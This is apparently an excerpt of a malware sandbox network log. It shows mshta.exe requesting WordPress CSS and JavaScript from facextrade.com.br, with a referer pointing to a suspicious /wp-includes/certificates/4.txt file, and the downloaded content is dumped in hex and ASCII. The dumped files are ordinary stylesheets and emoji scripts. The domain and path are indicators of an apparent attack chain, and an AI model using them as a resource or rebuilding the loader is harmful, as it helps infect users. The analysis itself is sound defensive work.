{margin: 0; padding: 0; list-style: none;}.flexslider-rtl {direction:rtl; text-align:right;}/ Icon Fonts********************************// Font-face Icons /@font-face {font-family: 'flexslider-icon';src:url('fonts/flexslider-icon.eot');src:url('fonts/flexslider-icon.eot?#iefix') format('embedded-opentype'),url('fonts/flexslider-icon.woff') format('woff'),url('fonts/flexslider-icon.ttf') format('truetype'),url('fonts/flexslider-icon.svg#flexslider-icon') format('svg');font-weight: normal;font-style: normal;}/ FlexSlider Necessary Styles*********************************/.flexslider {margin: 0; padding:
Aug 16, 2022 11:53:20.202694893 CEST	392	IN	Data Raw: 30 3b 7d 0a 2e 66 6c 65 78 73 6c 69 64 65 72 20 2e 73 6c 69 64 65 73 20 3e 20 6c 69 20 7b 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 3b 20 2d 77 65 62 6b 69 74 2d 62 61 63 6b 66 61 63 65 2d 76 69 73 69 62 69 6c 69 74 79 3a 20 68 69 64 64 65 6e 3b 7d Data Ascii: 0;}.flexslider .slides > li {display: none; -webkit-backface-visibility: hidden;} /* Hide the slides before the JS is loaded. Avoids image jumping */.flexslider .slides img {width: 100%; display: block;}.flex-pauseplay span {text-transform:
Aug 16, 2022 11:53:20.202723026 CEST	393	IN	Data Raw: 2a 20 44 69 72 65 63 74 69 6f 6e 20 4e 61 76 20 2a 2f 0a 2e 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 2d 6e 61 76 20 7b 2a 68 65 69 67 68 74 3a 20 30 3b 7d 0a 2e 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 2d 6e 61 76 20 61 20 20 7b 20 64 69 73 70 Data Ascii: * Direction Nav /.flex-direction-nav {height: 0;}.flex-direction-nav a { display: block; width: 40px; height: 40px; margin: -20px 0 0; position: absolute; top: 50%; z-index: 10; overflow: hidden; opacity: 0; cursor: pointer; color: rgba(0
Aug 16, 2022 11:53:20.203454018 CEST	394	IN	Data Raw: 66 6c 65 78 73 6c 69 64 65 72 2d 72 74 6c 20 2e 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 2d 6e 61 76 20 61 2e 66 6c 65 78 2d 6e 65 78 74 3a 62 65 66 6f 72 65 20 20 7b 20 63 6f 6e 74 65 6e 74 3a 20 27 5c 66 30 30 31 27 3b 20 7d 0a 2e 66 6c 65 78 Data Ascii: flexslider-rtl .flex-direction-nav a.flex-next:before { content: '\f001'; }.flexslider-rtl .flex-direction-nav a.flex-prev:before { content: '\f002'; }/* Pause/Play */.flex-pauseplay a { display: block; width: 20px; height: 20px; position
Aug 16, 2022 11:53:20.203494072 CEST	395	IN	Data Raw: 3a 20 72 67 62 61 28 30 2c 30 2c 30 2c 30 2e 37 29 3b 20 7d 0a 2e 66 6c 65 78 2d 63 6f 6e 74 72 6f 6c 2d 70 61 67 69 6e 67 20 6c 69 20 61 2e 66 6c 65 78 2d 61 63 74 69 76 65 20 7b 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 30 30 30 3b 20 62 61 63 Data Ascii: : rgba(0,0,0,0.7); }.flex-control-paging li a.flex-active { background: #000; background: rgba(0,0,0,0.9); cursor: default; }.flex-control-thumbs {margin: 5px 0 0; position: static; overflow: hidden;}.flex-control-thumbs li {width: 25%; fl

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
7	192.168.2.22	49180	187.45.240.69	80	C:\Windows\System32\mshta.exe

Timestamp	kBytes transferred	Direction	Data
Aug 16, 2022 11:53:20.225266933 CEST	396	OUT	GET /wp-content/plugins/cherry-plugin/lib/js/owl-carousel/owl.carousel.css?ver=1.24 HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:53:20.467612982 CEST	398	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:53:20 GMT Server: Apache Last-Modified: Tue, 02 Apr 2019 21:39:19 GMT ETag: "a4fae3-1724-58592f82d6fc0" Accept-Ranges: bytes Content-Length: 5924 Connection: close Content-Type: text/css Data Raw: 2f 2a 20 0a 20 2a 20 09 43 6f 72 65 20 4f 77 6c 20 43 61 72 6f 75 73 65 6c 20 43 53 53 20 46 69 6c 65 0a 20 2a 09 76 31 2e 32 34 0a 20 2a 2f 0a 0a 2f 2a 20 63 6c 65 61 72 66 69 78 20 2a 2f 0a 2e 6f 77 6c 2d 63 61 72 6f 75 73 65 6c 20 2e 6f 77 6c 2d 77 72 61 70 70 65 72 3a 61 66 74 65 72 20 7b 0a 09 63 6f 6e 74 65 6e 74 3a 20 22 2e 22 3b 0a 09 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0a 09 63 6c 65 61 72 3a 20 62 6f 74 68 3b 0a 09 76 69 73 69 62 69 6c 69 74 79 3a 20 68 69 64 64 65 6e 3b 0a 09 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 30 3b 0a 09 68 65 69 67 68 74 3a 20 30 3b 0a 7d 0a 2f 2a 20 64 69 73 70 6c 61 79 20 6e 6f 6e 65 20 75 6e 74 69 6c 20 69 6e 69 74 20 2a 2f 0a 2e 6f 77 6c 2d 63 61 72 6f 75 73 65 6c 7b 0a 09 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 3b 0a 09 70 6f 73 69 74 69 6f 6e 3a 20 72 65 6c 61 74 69 76 65 3b 0a 09 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 09 2d 6d 73 2d 74 6f 75 63 68 2d 61 63 74 69 6f 6e 3a 20 70 61 6e 2d 79 3b 0a 7d 0a 2e 6f 77 6c 2d 63 61 72 6f 75 73 65 6c 20 2e 6f 77 6c 2d 77 72 61 70 70 65 72 7b 0a 09 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 3b 0a 09 70 6f 73 69 74 69 6f 6e 3a 20 72 65 6c 61 74 69 76 65 3b 0a 09 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 20 74 72 61 6e 73 6c 61 74 65 33 64 28 30 70 78 2c 20 30 70 78 2c 20 30 70 78 29 3b 0a 7d 0a 2e 6f 77 6c 2d 63 61 72 6f 75 73 65 6c 20 2e 6f 77 6c 2d 77 72 61 70 70 65 72 2d 6f 75 74 65 72 7b 0a 09 6f 76 65 72 66 6c 6f 77 3a 20 68 69 64 64 65 6e 3b 0a 09 70 6f 73 69 74 69 6f 6e 3a 20 72 65 6c 61 74 69 76 65 3b 0a 09 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 7d 0a 2e 6f 77 6c 2d 63 61 72 6f 75 73 65 6c 20 2e 6f 77 6c 2d 77 72 61 70 70 65 72 2d 6f 75 74 65 72 2e 61 75 74 6f 48 65 69 67 68 74 7b 0a 09 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 69 74 69 6f 6e 3a 20 68 65 69 67 68 74 20 35 30 30 6d 73 20 65 61 73 65 2d 69 6e 2d 6f 75 74 3b 0a 09 2d 6d 6f 7a 2d 74 72 61 6e 73 69 74 69 6f 6e 3a 20 68 65 69 67 68 74 20 35 30 30 6d 73 20 65 61 73 65 2d 69 6e 2d 6f 75 74 3b 0a 09 2d 6d 73 2d 74 72 61 6e 73 69 74 69 6f 6e 3a 20 68 65 69 67 68 74 20 35 30 30 6d 73 20 65 61 73 65 2d 69 6e 2d 6f 75 74 3b 0a 09 2d 6f 2d 74 72 61 6e 73 69 74 69 6f 6e 3a 20 68 65 69 67 68 74 20 35 30 30 6d 73 20 65 61 73 65 2d 69 6e 2d 6f 75 74 3b 0a 09 74 72 61 6e 73 69 74 69 6f 6e 3a 20 68 65 69 67 68 74 20 35 30 30 6d 73 20 65 61 73 65 2d 69 6e 2d 6f 75 74 3b 0a 7d 0a 09 0a 2e 6f 77 6c 2d 63 61 72 6f 75 73 65 6c 20 2e 6f 77 6c 2d 69 74 65 6d 7b 0a 09 66 6c 6f 61 74 3a 20 6c 65 66 74 3b 0a 7d 0a 2e 6f 77 6c 2d 63 6f 6e 74 72 6f 6c 73 20 2e 6f 77 6c 2d 70 61 67 65 2c 0a 2e 6f 77 6c 2d 63 6f 6e 74 72 6f 6c 73 20 2e 6f 77 6c 2d 62 75 74 74 6f 6e 73 20 64 69 76 7b 0a 09 63 75 72 73 6f 72 3a 20 70 6f 69 6e 74 65 72 3b 0a 7d 0a 2e 6f 77 6c 2d 63 6f 6e 74 72 6f 6c 73 20 7b 0a 09 2d 77 65 62 6b 69 74 2d 75 73 65 72 2d 73 65 6c 65 63 74 3a 20 6e 6f 6e 65 3b 0a 09 2d 6b 68 74 6d 6c 2d 75 73 65 72 2d 73 65 6c 65 63 74 3a 20 6e 6f 6e 65 3b 0a 09 2d 6d 6f 7a 2d 75 73 65 72 2d 73 65 6c 65 63 74 3a 20 6e 6f 6e 65 3b 0a 09 2d 6d 73 2d 75 73 65 72 2d 73 65 6c 65 63 74 3a 20 6e 6f 6e 65 3b 0a 09 75 73 65 72 2d 73 65 6c 65 63 74 3a 20 6e 6f 6e 65 3b 0a 09 2d 77 65 62 6b 69 74 2d 74 61 70 2d 68 69 67 68 6c 69 67 68 74 2d 63 6f 6c 6f 72 3a 20 72 67 62 61 28 30 2c 20 30 2c 20 30 2c 20 30 29 3b 0a 7d 0a Data Ascii: /* * Core Owl Carousel CSS File v1.24 //* clearfix /.owl-carousel .owl-wrapper:after {content: ".";display: block;clear: both;visibility: hidden;line-height: 0;height: 0;}/ display none until init */.owl-carousel{display: none;position: relative;width: 100%;-ms-touch-action: pan-y;}.owl-carousel .owl-wrapper{display: none;position: relative;-webkit-transform: translate3d(0px, 0px, 0px);}.owl-carousel .owl-wrapper-outer{overflow: hidden;position: relative;width: 100%;}.owl-carousel .owl-wrapper-outer.autoHeight{-webkit-transition: height 500ms ease-in-out;-moz-transition: height 500ms ease-in-out;-ms-transition: height 500ms ease-in-out;-o-transition: height 500ms ease-in-out;transition: height 500ms ease-in-out;}.owl-carousel .owl-item{float: left;}.owl-controls .owl-page,.owl-controls .owl-buttons div{cursor: pointer;}.owl-controls {-webkit-user-select: none;-khtml-user-select: none;-moz-user-select: none;-ms-user-select: none;user-select: none;-webkit-tap-highlight-color: rgba(0, 0, 0, 0);}
Aug 16, 2022 11:53:20.467643023 CEST	400	IN	Data Raw: 0a 2f 2a 20 6d 6f 75 73 65 20 67 72 61 62 20 69 63 6f 6e 20 2a 2f 0a 2e 67 72 61 62 62 69 6e 67 20 7b 20 0a 20 20 20 20 63 75 72 73 6f 72 3a 75 72 6c 28 67 72 61 62 62 69 6e 67 2e 70 6e 67 29 20 38 20 38 2c 20 6d 6f 76 65 3b 0a 7d 0a 0a 2f 2a 20 Data Ascii: /* mouse grab icon /.grabbing { cursor:url(grabbing.png) 8 8, move;}/ fix */.owl-carousel .owl-wrapper,.owl-carousel .owl-item{-webkit-backface-visibility: display;-moz-backface-visibility: display;-ms-backface-visibil
Aug 16, 2022 11:53:20.467662096 CEST	401	IN	Data Raw: 65 20 62 6f 74 68 3b 0a 20 20 2d 6d 6f 7a 2d 61 6e 69 6d 61 74 69 6f 6e 3a 20 73 63 61 6c 65 54 6f 46 61 64 65 20 2e 37 73 20 65 61 73 65 20 62 6f 74 68 3b 0a 20 20 61 6e 69 6d 61 74 69 6f 6e 3a 20 73 63 61 6c 65 54 6f 46 61 64 65 20 2e 37 73 20 Data Ascii: e both; -moz-animation: scaleToFade .7s ease both; animation: scaleToFade .7s ease both;}.owl-goDown-in { -webkit-animation: goDown .6s ease both; -moz-animation: goDown .6s ease both; animation: goDown .6s ease both;}/* scaleUp
Aug 16, 2022 11:53:20.467680931 CEST	402	IN	Data Raw: 61 74 65 5a 28 2d 35 30 30 70 78 29 20 74 72 61 6e 73 6c 61 74 65 58 28 2d 32 30 30 25 29 3b 20 7d 0a 7d 0a 40 2d 6d 6f 7a 2d 6b 65 79 66 72 61 6d 65 73 20 62 61 63 6b 53 6c 69 64 65 4f 75 74 20 7b 0a 20 20 32 35 25 20 7b 20 6f 70 61 63 69 74 79 Data Ascii: ateZ(-500px) translateX(-200%); }}@-moz-keyframes backSlideOut { 25% { opacity: .5; -moz-transform: translateZ(-500px); } 75% { opacity: .5; -moz-transform: translateZ(-500px) translateX(-200%); } 100% { opacity: .5; -moz-transform: tr
Aug 16, 2022 11:53:20.467696905 CEST	403	IN	Data Raw: 6f 20 7b 20 6f 70 61 63 69 74 79 3a 20 30 3b 20 2d 6d 6f 7a 2d 74 72 61 6e 73 66 6f 72 6d 3a 20 73 63 61 6c 65 28 2e 38 29 3b 20 7d 0a 7d 0a 40 6b 65 79 66 72 61 6d 65 73 20 73 63 61 6c 65 54 6f 46 61 64 65 20 7b 0a 20 20 74 6f 20 7b 20 6f 70 61 Data Ascii: o { opacity: 0; -moz-transform: scale(.8); }}@keyframes scaleToFade { to { opacity: 0; transform: scale(.8); }}@-webkit-keyframes goDown { from { -webkit-transform: translateY(-100%); }}@-moz-keyframes goDown { from { -moz-transfor

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
8	192.168.2.22	49181	187.45.240.69	80	C:\Windows\System32\mshta.exe

Timestamp	kBytes transferred	Direction	Data
Aug 16, 2022 11:53:20.457707882 CEST	397	OUT	GET /wp-content/plugins/cherry-parallax/css/parallax.css?ver=1.0.0 HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:53:20.699632883 CEST	404	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:53:20 GMT Server: Apache Last-Modified: Tue, 02 Apr 2019 21:25:36 GMT ETag: "a4f8ac-193-58592c71f7400" Accept-Ranges: bytes Content-Length: 403 Connection: close Content-Type: text/css Data Raw: 62 6f 64 79 20 2e 6d 61 69 6e 2d 68 6f 6c 64 65 72 20 7b 0a 09 6f 76 65 72 66 6c 6f 77 3a 20 68 69 64 64 65 6e 3b 0a 09 70 6f 73 69 74 69 6f 6e 3a 20 73 74 61 74 69 63 3b 0a 7d 0a 2e 70 61 72 61 6c 6c 61 78 2d 62 6f 78 20 7b 0a 09 70 6f 73 69 74 69 6f 6e 3a 20 72 65 6c 61 74 69 76 65 3b 0a 7d 0a 2e 70 61 72 61 6c 6c 61 78 2d 63 6f 6e 74 65 6e 74 20 7b 0a 09 70 6f 73 69 74 69 6f 6e 3a 20 72 65 6c 61 74 69 76 65 3b 0a 09 7a 2d 69 6e 64 65 78 3a 20 32 3b 0a 7d 0a 2e 70 61 72 61 6c 6c 61 78 2d 62 67 20 7b 0a 09 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 0a 09 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 3b 0a 09 74 6f 70 3a 20 30 3b 0a 09 6c 65 66 74 3a 20 30 3b 0a 09 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 09 68 65 69 67 68 74 3a 31 30 30 25 3b 0a 7d 0a 2e 70 61 72 61 6c 6c 61 78 2d 62 67 2d 69 6e 6e 65 72 20 7b 0a 09 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 2d 72 65 70 65 61 74 3a 20 6e 6f 2d 72 65 70 65 61 74 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 2d 73 69 7a 65 3a 20 63 6f 76 65 72 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 20 63 65 6e 74 65 72 3b 0a 09 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 0a 7d Data Ascii: body .main-holder {overflow: hidden;position: static;}.parallax-box {position: relative;}.parallax-content {position: relative;z-index: 2;}.parallax-bg {position: absolute;overflow:hidden;top: 0;left: 0;width: 100%;height:100%;}.parallax-bg-inner {position:relative;background-repeat: no-repeat;background-size: cover;background-position: center;max-width:none;}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
9	192.168.2.22	49182	187.45.240.69	80	C:\Windows\System32\mshta.exe

Timestamp	kBytes transferred	Direction	Data
Aug 16, 2022 11:53:20.705472946 CEST	405	OUT	GET /wp-includes/js/wp-emoji-release.min.js?ver=4.9.20 HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:53:20.936347008 CEST	407	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:49:47 GMT Server: Apache ETag: "a55f41-2ea7-5c001a3bd78ff" Last-Modified: Thu, 15 Apr 2021 12:02:38 GMT Content-Length: 11943 Content-Type: application/x-javascript X-Pad: avoid browser bug Cache-Control: No-Cache Pragma: no-cache X-Varnish: 23796991 18315306 Age: 213 Via: 1.1 varnish-v4 Accept-Ranges: bytes Connection: keep-alive Data Raw: 2f 2f 20 53 6f 75 72 63 65 3a 20 77 70 2d 69 6e 63 6c 75 64 65 73 2f 6a 73 2f 74 77 65 6d 6f 6a 69 2e 6d 69 6e 2e 6a 73 0a 76 61 72 20 74 77 65 6d 6f 6a 69 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 66 3d 7b 62 61 73 65 3a 22 68 74 74 70 73 3a 2f 2f 74 77 65 6d 6f 6a 69 2e 6d 61 78 63 64 6e 2e 63 6f 6d 2f 32 2f 22 2c 65 78 74 3a 22 2e 70 6e 67 22 2c 73 69 7a 65 3a 22 37 32 78 37 32 22 2c 63 6c 61 73 73 4e 61 6d 65 3a 22 65 6d 6f 6a 69 22 2c 63 6f 6e 76 65 72 74 3a 7b 66 72 6f 6d 43 6f 64 65 50 6f 69 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 64 29 7b 64 3d 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 64 3f 70 61 72 73 65 49 6e 74 28 64 2c 31 36 29 3a 64 3b 69 66 28 64 3c 36 35 35 33 36 29 72 65 74 75 72 6e 20 61 28 64 29 3b 72 65 74 75 72 6e 20 61 28 35 35 32 39 36 2b 28 28 64 2d 3d 36 35 35 33 36 29 3e 3e 31 30 29 2c 35 36 33 32 30 2b 28 31 30 32 33 26 64 29 29 7d 2c 74 6f 43 6f 64 65 50 6f 69 6e 74 3a 69 7d 2c 6f 6e 65 72 72 6f 72 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 70 61 72 65 6e 74 4e 6f 64 65 26 26 74 68 69 73 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 72 65 70 6c 61 63 65 43 68 69 6c 64 28 67 28 74 68 69 73 2e 61 6c 74 2c 21 31 29 2c 74 68 69 73 29 7d 2c 70 61 72 73 65 3a 66 75 6e 63 74 69 6f 6e 28 64 2c 75 29 7b 75 26 26 22 66 75 6e 63 74 69 6f 6e 22 21 3d 74 79 70 65 6f 66 20 75 7c 7c 28 75 3d 7b 63 61 6c 6c 62 61 63 6b 3a 75 7d 29 3b 72 65 74 75 72 6e 28 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 64 3f 66 75 6e 63 74 69 6f 6e 28 64 2c 74 29 7b 72 65 74 75 72 6e 20 6f 28 64 2c 66 75 6e 63 74 69 6f 6e 28 64 29 7b 76 61 72 20 75 2c 66 2c 65 3d 64 2c 63 3d 78 28 64 29 2c 61 3d 74 2e 63 61 6c 6c 62 61 63 6b 28 63 2c 74 29 3b 69 66 28 61 29 7b 66 6f 72 28 66 20 69 6e 20 65 3d 22 3c 69 6d 67 20 22 2e 63 6f 6e 63 61 74 28 27 63 6c 61 73 73 3d 22 27 2c 74 2e 63 6c 61 73 73 4e 61 6d 65 2c 27 22 20 27 2c 27 64 72 61 67 67 61 62 6c 65 3d 22 66 61 6c 73 65 22 20 27 2c 27 61 6c 74 3d 22 27 2c 64 2c 27 22 27 2c 27 20 73 72 63 3d 22 27 2c 61 2c 27 22 27 29 2c 75 3d 74 2e 61 74 74 72 69 62 75 74 65 73 28 64 2c 63 29 29 75 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 28 66 29 26 26 30 21 3d 3d 66 2e 69 6e 64 65 78 4f 66 28 22 6f 6e 22 29 26 26 2d 31 3d 3d 3d 65 2e 69 6e 64 65 78 4f 66 28 22 20 22 2b 66 2b 22 3d 22 29 26 26 28 65 3d 65 2e 63 6f 6e 63 61 74 28 22 20 22 2c 66 2c 27 3d 22 27 2c 75 5b 66 5d 2e 72 65 70 6c 61 63 65 28 6e 2c 72 29 2c 27 22 27 29 29 3b 65 3d 65 2e 63 6f 6e 63 61 74 28 22 2f 3e 22 29 7d 72 65 74 75 72 6e 20 65 7d 29 7d 3a 66 75 6e 63 74 69 6f 6e 28 64 2c 75 29 7b 76 61 72 20 66 2c 65 2c 63 2c 61 2c 74 2c 6e 2c 72 2c 62 2c 6f 2c 69 2c 73 2c 6c 3d 66 75 6e 63 74 69 6f 6e 20 64 28 75 2c 66 29 7b 76 61 72 20 65 2c 63 2c 61 3d 75 2e 63 68 69 6c 64 4e 6f 64 65 73 2c 74 3d 61 2e 6c 65 6e 67 74 68 3b 66 6f 72 28 3b 74 2d Data Ascii: // Source: wp-includes/js/twemoji.min.jsvar twemoji=function(){"use strict";var f={base:"https://twemoji.maxcdn.com/2/",ext:".png",size:"72x72",className:"emoji",convert:{fromCodePoint:function(d){d="string"==typeof d?parseInt(d,16):d;if(d<65536)return a(d);return a(55296+((d-=65536)>>10),56320+(1023&d))},toCodePoint:i},onerror:function(){this.parentNode&&this.parentNode.replaceChild(g(this.alt,!1),this)},parse:function(d,u){u&&"function"!=typeof u\|\|(u={callback:u});return("string"==typeof d?function(d,t){return o(d,function(d){var u,f,e=d,c=x(d),a=t.callback(c,t);if(a){for(f in e="<img ".concat('class="',t.className,'" ','draggable="false" ','alt="',d,'"',' src="',a,'"'),u=t.attributes(d,c))u.hasOwnProperty(f)&&0!==f.indexOf("on")&&-1===e.indexOf(" "+f+"=")&&(e=e.concat(" ",f,'="',u[f].replace(n,r),'"'));e=e.concat("/>")}return e})}:function(d,u){var f,e,c,a,t,n,r,b,o,i,s,l=function d(u,f){var e,c,a=u.childNodes,t=a.length;for(;t-
Aug 16, 2022 11:53:20.936400890 CEST	409	IN	Data Raw: 2d 3b 29 65 3d 61 5b 74 5d 2c 33 3d 3d 3d 28 63 3d 65 2e 6e 6f 64 65 54 79 70 65 29 3f 66 2e 70 75 73 68 28 65 29 3a 31 21 3d 3d 63 7c 7c 22 6f 77 6e 65 72 53 56 47 45 6c 65 6d 65 6e 74 22 69 6e 20 65 7c 7c 68 2e 74 65 73 74 28 65 2e 6e 6f 64 65 Data Ascii: -;)e=a[t],3===(c=e.nodeType)?f.push(e):1!==c\|\|"ownerSVGElement"in e\|\|h.test(e.nodeName.toLowerCase())\|\|d(e,f);return f}(d,[]),p=l.length;for(;p--;){for(c=!1,a=document.createDocumentFragment(),t=l[p],n=t.nodeValue,r=0;i=m.exec(n);){if((s=i.ind
Aug 16, 2022 11:53:20.936449051 CEST	410	IN	Data Raw: 5c 75 64 64 62 33 5d 29 7c 28 3f 3a 5c 75 64 38 33 63 5b 5c 75 64 66 63 62 5c 75 64 66 63 63 5d 7c 5c 75 64 38 33 64 5b 5c 75 64 64 37 34 5c 75 64 64 37 35 5d 7c 5c 75 32 36 66 39 29 28 28 3f 3a 5c 75 64 38 33 63 5b 5c 75 64 66 66 62 2d 5c 75 64 Data Ascii: \uddb3])\|(?:\ud83c[\udfcb\udfcc]\|\ud83d[\udd74\udd75]\|\u26f9)((?:\ud83c[\udffb-\udfff]\|\ufe0f)\u200d[\u2640\u2642]\ufe0f)\|(?:\ud83c[\udfc3\udfc4\udfca]\|\ud83d[\udc6e\udc71\udc73\udc77\udc81\udc82\udc86\udc87\ude45-\ude47\ude4b\ude4d\ude4e\udea
Aug 16, 2022 11:53:20.936491966 CEST	411	IN	Data Raw: 63 36 39 5c 75 32 30 30 64 5c 75 64 38 33 64 5c 75 64 63 36 37 5c 75 32 30 30 64 5c 75 64 38 33 64 5b 5c 75 64 63 36 36 5c 75 64 63 36 37 5d 7c 5c 75 64 38 33 64 5c 75 64 63 36 39 5c 75 32 30 30 64 5c 75 64 38 33 64 5c 75 64 63 36 39 5c 75 32 30 Data Ascii: c69\u200d\ud83d\udc67\u200d\ud83d[\udc66\udc67]\|\ud83d\udc69\u200d\ud83d\udc69\u200d\ud83d[\udc66\udc67]\|\ud83c\udff3\ufe0f\u200d\ud83c\udf08\|\ud83c\udff4\u200d\u2620\ufe0f\|\ud83d\udc41\u200d\ud83d\udde8\|\ud83d\udc68\u200d\ud83d[\udc66\udc67]\|
Aug 16, 2022 11:53:20.936531067 CEST	413	IN	Data Raw: 5c 75 32 36 37 66 5c 75 32 36 39 32 2d 5c 75 32 36 39 37 5c 75 32 36 39 39 5c 75 32 36 39 62 5c 75 32 36 39 63 5c 75 32 36 61 30 5c 75 32 36 61 31 5c 75 32 36 61 61 5c 75 32 36 61 62 5c 75 32 36 62 30 5c 75 32 36 62 31 5c 75 32 36 62 64 5c 75 32 Data Ascii: \u267f\u2692-\u2697\u2699\u269b\u269c\u26a0\u26a1\u26aa\u26ab\u26b0\u26b1\u26bd\u26be\u26c4\u26c5\u26c8\u26cf\u26d1\u26d3\u26d4\u26e9\u26ea\u26f0-\u26f5\u26f8\u26fa\u26fd\u2702\u2708\u2709\u270f\u2712\u2714\u2716\u271d\u2721\u2733\u2734\u2744\
Aug 16, 2022 11:53:20.936573029 CEST	414	IN	Data Raw: 5c 75 64 64 66 30 2d 5c 75 64 64 66 35 5c 75 64 64 66 37 5c 75 64 64 66 61 2d 5c 75 64 64 66 66 5d 7c 5c 75 64 38 33 63 5c 75 64 64 65 39 5c 75 64 38 33 63 5b 5c 75 64 64 65 61 5c 75 64 64 65 63 5c 75 64 64 65 66 5c 75 64 64 66 30 5c 75 64 64 66 Data Ascii: \uddf0-\uddf5\uddf7\uddfa-\uddff]\|\ud83c\udde9\ud83c[\uddea\uddec\uddef\uddf0\uddf2\uddf4\uddff]\|\ud83c\uddea\ud83c[\udde6\udde8\uddea\uddec\udded\uddf7-\uddfa]\|\ud83c\uddeb\ud83c[\uddee-\uddf0\uddf2\uddf4\uddf7]\|\ud83c\uddec\ud83c[\udde6\udde
Aug 16, 2022 11:53:20.936614037 CEST	415	IN	Data Raw: 64 64 65 36 5c 75 64 64 66 32 5c 75 64 64 66 63 5d 7c 5c 75 64 38 33 63 5b 5c 75 64 63 63 66 5c 75 64 64 38 65 5c 75 64 64 39 31 2d 5c 75 64 64 39 61 5c 75 64 64 65 36 2d 5c 75 64 64 66 66 5c 75 64 65 30 31 5c 75 64 65 33 32 2d 5c 75 64 65 33 36 Data Ascii: dde6\uddf2\uddfc]\|\ud83c[\udccf\udd8e\udd91-\udd9a\udde6-\uddff\ude01\ude32-\ude36\ude38-\ude3a\ude50\ude51\udf00-\udf20\udf2d-\udf35\udf37-\udf7c\udf7e-\udf84\udf86-\udf93\udfa0-\udfc1\udfc5\udfc6\udfc8\udfc9\udfcf-\udfd3\udfe0-\udff0\udff4\u
Aug 16, 2022 11:53:20.936657906 CEST	417	IN	Data Raw: 66 2e 70 75 73 68 28 28 36 35 35 33 36 2b 28 63 2d 35 35 32 39 36 3c 3c 31 30 29 2b 28 65 2d 35 36 33 32 30 29 29 2e 74 6f 53 74 72 69 6e 67 28 31 36 29 29 2c 63 3d 30 29 3a 35 35 32 39 36 3c 3d 65 26 26 65 3c 3d 35 36 33 31 39 3f 63 3d 65 3a 66 Data Ascii: f.push((65536+(c-55296<<10)+(e-56320)).toString(16)),c=0):55296<=e&&e<=56319?c=e:f.push(e.toString(16));return f.join(u\|\|"-")}}();// Source: wp-includes/js/wp-emoji.min.js!function(c,l){c.wp=c.wp\|\|{},c.wp.emoji=new function(){var n,u,e=c.Mut
